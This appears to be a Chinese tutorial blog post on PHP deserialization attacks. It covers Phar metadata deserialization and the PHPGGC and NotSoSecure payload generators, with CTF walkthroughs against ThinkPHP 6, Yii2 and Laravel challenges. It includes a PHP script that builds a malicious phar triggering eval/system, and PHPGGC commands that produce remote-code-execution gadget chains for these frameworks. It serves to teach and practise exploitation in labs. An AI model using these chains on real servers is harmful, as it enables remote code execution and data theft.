当前位置: 首页 > news >正文

Web攻防-PHP反序列化Phar文件类CLI框架类PHPGGC生成器TPYiiLaravel

知识点:
1、PHP-反序列化-Phar反序列化
2、PHP-反序列化-框架反序列化链生成项目
3、PHP-反序列化-框架反序列化利用

一、演示案例-WEB攻防-PHP反序列化-Phar反序列化

解释:从PHP 5.3开始,引入了类似于JAR的一种打包文件机制。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。

在这里插入图片描述
原理:PHP文件系统函数在通过伪协议解析phar文件时,都会将 meta-data进行反序列化操作,受影响的函数如上图;所以当这些函数接收到伪协议处理到 phar 文件的时候,Meta-data 里的序列化字符串就会被反序列化,实现不使用unserialize()函数实现反序列化操作。

利用条件
1.phar文件(任意后缀都可以)能上传至服务器。
2.存在受影响函数,存在可以利用的魔术方法。

1、Demo

在这里插入图片描述

生成Phar文件生成Phar文件需要注意:
php.ini中将Phar.readonly设置为off

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、[HNCTF 2022 WEEK3]ez_phar

在这里插入图片描述

POP链生成phar文件
<?php
class Flag{public $code;public function __destruct(){// TODO: Implement __destruct() method.eval($this->code);}
}
$a=new Flag();
$a->code="system('cat /ffflllaaaggg');";
$phar = new Phar("exp6.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

在这里插入图片描述
upload.php上传文件引用访问触发
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、白盒代码审计案例

https://mp.weixin.qq.com/s/2wzaXIpJgYSNnkJgRNUSEg
https://mp.weixin.qq.com/s/Z24A3LYn6P3276v7GqPw4w

二、演示案例-WEB攻防-PHP反序列化-框架反序列化链生成项目

框架类的反序列化及对应POP链编写是非常复杂的。比CTF那种原生态反序列化源码难很多很多。

利用场景:
当知道目标使用了某个框架及对应版本并且这个框架版本曝过反序列漏洞,那么就可以尝试利用该项目去生成反序列链。

1、NotSoSecure(综合类) 网页版

项目地址:https://github.com/NotSoSecure/SerializedPayloadGenerator

为了利用反序列化漏洞,需要设置不同的工具,如 YSoSerial(Java)、YSoSerial.NET、PHPGGC 和它的先决条件。DeserializationHelper 是包含对 YSoSerial(Java)、YSoSerial.Net、PHPGGC 和其他工具的支持的Web界面。使用Web界面,您可以为各种框架生成反序列化payload.

Java – YSoSerial
NET – YSoSerial.NET
PHP – PHPGGC //这个用不了
Python - 原生

如何搭建

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
如果还不行
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、PHPGGC(PHP框架单项类) 命令版本

项目地址:https://github.com/ambionics/phpggc
只有linux版本,可以放本地kali上运行。
PHPGGC是一个包含unserialize()有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是frohoffysoserial的等价物,但是对于PHP。目前该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii和ZendFramework等。

三、演示案例-WEB攻防-PHP反序列化-框架反序列化利用

1、[安洵杯 2019]iamthinking Thinkphp V6.0.X 反序列化-PHPGGC

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

./phpggc ThinkPHP/RCE4 system 'cat /flag' --url

在这里插入图片描述

http://d67438dd-6483-4c05-bc40-1095050b015a.node4.buuoj.cn:81///public/?payload=

在这里插入图片描述
在这里插入图片描述

2、CTFSHOW 反序列化 267 Yii2反序列化-PHPGGC

弱口令admin/admin登录后源码提示泄漏
在这里插入图片描述

GET:index.php?r=site%2Fabout&view-source

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

./phpggc Yii2/RCE1 exec 'cp /fla* tt.txt' --base64

在这里插入图片描述

GET:/index.php?r=backdoor/shell&code=

在这里插入图片描述
在这里插入图片描述

3、CTFSHOW 反序列化 271 Laravel反序列化-PHPGGC

在这里插入图片描述
在这里插入图片描述
但是代码中并没有发现Laravel具体版本,没办法就只能一个一个试呗。
在这里插入图片描述

./phpggc Laravel/RCE2 system "id" --url

在这里插入图片描述
在这里插入图片描述

http://www.dtcms.com/a/283858.html

相关文章:

  • blender 导入的fbx模型位置错乱
  • 【3D大比拼第一集】--max,maya,c4d,blender的命令搜索功能
  • iOS App 电池消耗管理与优化 提升用户体验的完整指南
  • 【力扣 中等 C】97. 交错字符串
  • 量化环节:Cont‘d
  • 题解:CF1829H Don‘t Blame Me
  • 相位中心偏置天线的SAR动目标检测
  • 代码随想录算法训练营第二十三天
  • Apache SeaTunnel配置使用案例
  • 【Leetcode】栈和队列算法题(逆波兰表达式、二叉树层序遍历、最小栈、栈的压入弹出序列)
  • 贪心算法(排序)
  • 如何通过ATS/HTTPS数据防篡改来加密视频?
  • 部署-k8s和docker的区别和联系
  • 川翔云电脑:云端算力新标杆,创作自由无边界
  • STM32上移植Lua解析器
  • 性能优化实践:Modbus 在高并发场景下的吞吐量提升(二)
  • ClickHouse 多表 JOIN 时 SELECT * 语法错误解析与解决方案
  • Web3智能合约技术论述
  • GraphQL的N+1问题如何被DataLoader巧妙化解?
  • 阿里京东美团即时零售大战,品牌商如何从被动到主动?
  • 多端协同的招聘系统源码开发指南:小程序+APP一体化设计
  • C++性能优化与现代工程实践:打造高效可靠的软件系统
  • Unity_通过鼠标点击屏幕移动屏幕里的一个对象
  • Redis4缓存穿透:布隆过滤器与空对象方案
  • Python爬虫实战:Requests与Selenium详解
  • 电脑截图软件排行榜 Windows和mac电脑截图软件TOP10
  • Perspective:一款开源的交互式分析和数据可视化组件
  • ZKmall开源商城架构助力增长:多端流量聚合与用户体验
  • macOS 12.7.6部署Ollama+Dify避坑指南
  • 集群聊天服务器各个类进行详解